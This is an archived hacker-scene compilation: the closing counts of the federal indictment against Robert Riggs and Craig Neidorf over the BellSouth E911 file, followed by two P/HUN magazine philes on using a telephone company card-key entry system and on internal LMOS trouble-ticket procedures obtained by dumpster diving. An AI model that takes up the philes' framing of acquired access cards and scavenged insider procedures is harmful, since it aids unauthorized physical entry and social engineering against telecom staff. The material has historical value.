the defendants herein, for the purposes of executing the aforesaid
scheme did knowingly transmit and cause to be transmitted by means
of a wire communication in interstate commerce certain signs,
signals and sounds, namely: a data transfer of a E911 Practice
text file from Decatur, Georgia to Lockport, Illinois, an edited
and retyped E911 Practice text file from Columbia, Missouri, to
Lockport, Illinois.

     In violation of Title 18, United States Code, Section 1343.

                              - 8 -

                           COUNT THREE

     The SPECIAL APRIL 1987 GRAND JURY further charges:

     1. The Grand Jury realleges and incorporates by reference the
allegations of paragraphs 1 through 22 of Count One of this
indictment as though fully set forth herein.

     2. In or about December, 1988, at Lockport, in the Northern
District of Illinois, Eastern Division, and elsewhere,

                  ROBERT J. RIGGS, also known
                  as Robert Johnson, also
                  known as Prophet, and
                  CRAIG NEIDORF, also known
                  as Knight Lightning,

defendants herein, did transport and cause to be transported in
interstate commerce from Decatur, Georgia, to Lockport, Illinois,
a computerized text file with a value of $5,000 or more, namely:

     A Bell South Standard Practice (BSP) 660-225-104SV- Control
     Office Administration of Enhanced 911 Services for Special
     Services and Major Account Centers dated March, 1988; valued
     at approximately $79,449.00

the defendants then and there knowing the same to have been stolen,
converted, and taken by fraud;

     In violation of Title 18, United States Code, Section 2314.

                              - 9 -

                           COUNT FOUR

     The SPECIAL APRIL 1987 GRAND JURY further charges:

     1. The Grand Jury realleges and incorporates by reference the
allegations of paragraphs 1 through 22 of Count one of this
Indictment as though fully set forth herein.

     2. On or about January 23, 1989, at Lockport, in the Northern
District of Illinois, Eastern Division, and elsewhere,

                  ROBERT J. RIGGS, also known
                  as Robert Johnson, also
                  known as Prophet, and
                  CRAIG NEIDORF, also known
                  as Knight Lightning,

defendants herein, did transport and cause to be transported in
interstate commerce from Columbia, Missouri, to Lockport, Illinois,
a computerized textfile with a value of $5,000 or more, namely:

          An edited Bell South Standard Practice (BSP) 660-225-
          104SV- Control Office Administration of Enhanced 911
          Services for Special Services and Major Account Centers
          dated March, 1988; valued at approximately $79,449.00.

the defendants, then and there knowing the same to have been
stolen, converted, and taken by fraud;

     In violation of Title 18, United States Code, Section 2314.

                             - 10 -

                           COUNT FIVE

     The SPECIAL APRIL 1987 GRAND JURY further charges:

     1. The Grand Jury realleges and incorporates by reference
the allegations of paragraphs 1 through 22 of Count One of this
Indictment as though fully set forth herein.

     2. On or about December, 1988, at Lockport, in the
Northern District of Illinois, Eastern Division and elsewhere,

                  ROBERT J. RIGGS, also known
                  as Robert Johnson, also
                  known as Prophet, and
                  CRAIG NEIDORF, also known
                  as Knight Lightning,

the defendants herein, knowingly and with intent to defraud, trafficked
in information through which a computer may be accessed without
authorization and by such conduct affected interstate commerce;

     In violation of Title 18, United States Code, Section
1030(a)(6)(A).

                             - 11 -

                            COUNT SIX

     The SPECIAL APRIL 1987 GRAND JURY further charges:

     1. The Grand Jury realleges and incorporates by reference
the allegations of paragraphs 1 through 22 of Count One of this
Indictment as though fully set forth herein.

     2. In or about January, 1989, at Lockport, in the Northern
District of Illinois, Eastern Division and elsewhere,

                  ROBERT J. RIGGS, also known
                  as Robert Johnson, also
                  known as Prophet, and
                  CRAIG NEIDORF, also known
                  as Knight Lightning,

the defendants herein, knowingly and with intend to defraud, trafficked
in information through which a computer may be accessed without
authorization and by such conduct affected interstate commerce;

     In violation of Title 18, United States Code, Section
1030(a)(6)(A).

                             - 12 -

                           COUNT SEVEN

     The SPECIAL APRIL 1987 GRAND JURY further charges:

     1. The Grand Jury realleges and incorporates by reference the
allegations of paragraphs 1 through 22 of Count One of this
Indictment as though fully set forth herein.

     2. In or about February, 1989, at Lockport, in the Northern
District of Illinois, Eastern Division and elsewhere,

                  ROBERT J. RIGGS, also known
                  as Robert Johnson, also
                  known as Prophet, and
                  CRAIG NEIDORF, also known
                  as Knight Lightning,

the defendants herein, knowingly and with intent to defraud, trafficked
in information through which a computer may be accessed without
authorization and by such conduct affected interstate commerce;

     In violation of Title 18, United States Code, Section
1030(a)(6)(A).


                                A TRUE BILL:



                                ________________________________
                                F O R E P E R S O N



________________________________
UNITED STATES ATTORNEY


                             - 13 -

                 ==============END=============

(transcribed for TELECOM Digest by)

Mike Godwin, UT Law School    
mnemonic@ccwf.cc.utexas.edu   
mnemonic@walt.cc.utexas.edu   
(512) 346-4190                

------------------------------

End of TELECOM Digest Special: LoD in Trouble!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



% = % = % = % = % = % = % = % = % = % =          
=                                     %          
%      CARD READER ACCESS SYSTEM      =          
=                                     %          
%         By  The Ring Master         =          
=                                     %          
%     Phile # 13 of P/HUN Magazine    =          
=     ----------------------------    %           
%              Issue #5               =
=              --------               %
% = % = % = % = % = % = % = % = % = % =          


Sorry for the 40 columns but thats the
best I can do.
---------------------------------------
Incase one of these days you get lucky 
and get a Telco Card Key, heres how you
can use it -> :                               

HOW TO USE 'YOUR' COMMAND CARD KEY  
::::::::::::::::::::::::::::::::::

An ENTER and EXIT sensor is installed at
the from entrance door.

A personal "Command Key" has been given
to you which is recognized as a valid
entry/exit to the building.

Each card is programmer for a specific 
tour and/or time schedule.Thirty minutes
on either side of the scheduled time 
allows for early entry or delayed
departure. 

Your key card must be used when entering
and exiting building.
 - If not used when exiting the building 
   , it will not unlock the next time it
   is  used to gain entrance and 
   vice-versa.

Present your card key to within 2 or 3 
inches of the ENTER/EXIT sensor. It is
not necessary to rub care key on the 
door glass.

If the card key is authorized for that
door for that time, within several 
seconds, you will hear the electric 
strike unlock.

Access/Egress by significant numbers of
personnel at the same time: For eg:
(This is just for info purposes) several
employees going to lunch. This procedure
will only be  in effect at specific
buildings with large number of employees
(for example Switching Control Centers).

- Local management will have to modify 
  system for specific times.
 
- First employees presents card which
  opens door.

- Following employees will also present
  thier card key  to the ENTER/EXIT 
  sensor in order to be acknowledged by
  the system program.

- A red indicator light installed in the
  ENTER/EXIT sensor enclosure will flash
  on to acknowledge your card key code
  has been recognized.

===============================================================================

******************************************************************************
*                                                                            *
*                        S.S.T.C LMOS GUIDELINES                             *
*                                                                            *
*                          By  The Trasher 005                               *
*                                                                            *
*                 P/HUN Phile #14 of P/HUN Magazine Issue #5                 *
*                                                                            * 
******************************************************************************

This is what I found one day when I went trashing with my phreinds and thought
it would be it would be nice to type up so everyone can know what procedures
the SSTC (Special Service Test Center) follows :                           

Heres what it says (to the testers offcourse):

1) Keep all trouble entry codes and narrative complete and accurate to avoid 
   input error.
 
2) Testers are not to Exclude or RST any trouble. RSA's to exclude or FST only
   with Magnagement approval.

3) Be aware of measured duration on all trouble. Measurement of duration is
   everyones job.

4) Use work performed  codes 1,2,3,5 & 6 ONLY ONCE on each trouble.

5) Testers are to leave employee code blank in closeout box. This box is for 
   RSA use only. Testers are responsible for completing the type, disposition,
   cause , FL1 (if required) and ATH narrative in closeout section of BOR 

6) All Testers are required to verify unit#, route code, class off service
   /service code, category of report and FL1 (sub code) on all troubles.

7) All New York Telephone troubles MUST HAVE
           
     a. Responsibility code of user
     b. Job Function code of user
     c. User Reach number
 
8) Use narrative on EST mask when possiblle. Indicate test, who refered, 
   TN (Telephone Number), etc.

9) Re:  Escalations - Enter date/time one minute after last entry and in
   narrative indicate correct date/time, who escalated to level and TN

10) Front Ends Used:

        2B - All suffolk
        2A - All Nassau (except below)  
        3A - Hicsville, Levittown and Farmingdale

11) Unit Numbers Used:

        962 - All TTY, DATA, FAA, LOB & WATTS
        963 - ALL OCC
        964 - SCC
        961 - SUFFOLK SPECIALS
        441 - BAYSHORE S.S.T.C (Testing Unit of Suffolk Spec.)


        011 = 2A         038 = 2A
        022 = 2B         048 = 2B  These Unit numbers "RED FLAG" Top 200
        033 = 3A         058 = 3A  Customers.

12) ALL Switched Data Troubles are to be MLT  Tested and  indicated in LMOS
    (and on BOR) with  work performed code 2.

13) Re: STOP/START CLOCK

    Stop clock is to be used on all trouble which we intend to Dispatch
    to the customer but cannot do so because access is not available to 
    customer premises - this applies not only on Nassau and Suffolk troubles
    but on referred out troubles (Bklyn, Qns, Bronx, etc.) as well. The  
    narrative must provide information to justify the use of Stop clock.
    The work performance code Zero is THE ONLY code to be used after an eight
    (stop) and before a nice (start). Any other code will cancel the stop 
    clock. Stop and Start clock codes can be used a maximum of three times on
    one trouble report.

        The following Codes indicate a Stop/Start Clock.

        8 - STO - 121 = Stop Clock
        9 - STA - 122 = Start Clock

14) Re: Delayed Maintenance

    Delayed Maintenance is to be used when the customer has a Ckt out of
    service but still has communication with same location by use of an   
    alternate service. Alternate service can be Dial back up or another
    Ckt. going to the same location. Delayed Maintenance can be used  from 
    5:00PM friday through 8:00AM Monday. The codes used in LMOSare the same
    as for Stop/Start Clock. The difference is the narrative must indicate
    the alternate service the customer has.

                 Example #1 - Customer has D.B.H
                 Example #2 - Customer Has Ckt # _________ to same location.

    We must ask the customer if he has alternate service on all troubles
    "carried" overnight. The customer is entitled to a rebate for the entire
    duration of his trouble if it is over 24 hrs  on Data troubles and all
    occ orders specify (CCA) Customer Credit Allowance. We are responsible
    to give the customer the proper credit to which they are entitled.

15) Re: Message Reports

    When sending a message report to another Bureau for Dispatch/Test, make
    sure the following information is included :
 
    Circuit Number
    Customer Name
    Customer Address
    Customer Reach Number
    Our Reach Number 
    U.G Cable/Pair
    Test
    Access Hours
    Vendor Reach number for ok/serial
   
    On the original trouble BOR, Enter line of status putting Circuit on hold
    and the M.R T.T.N

===============END=============================================================
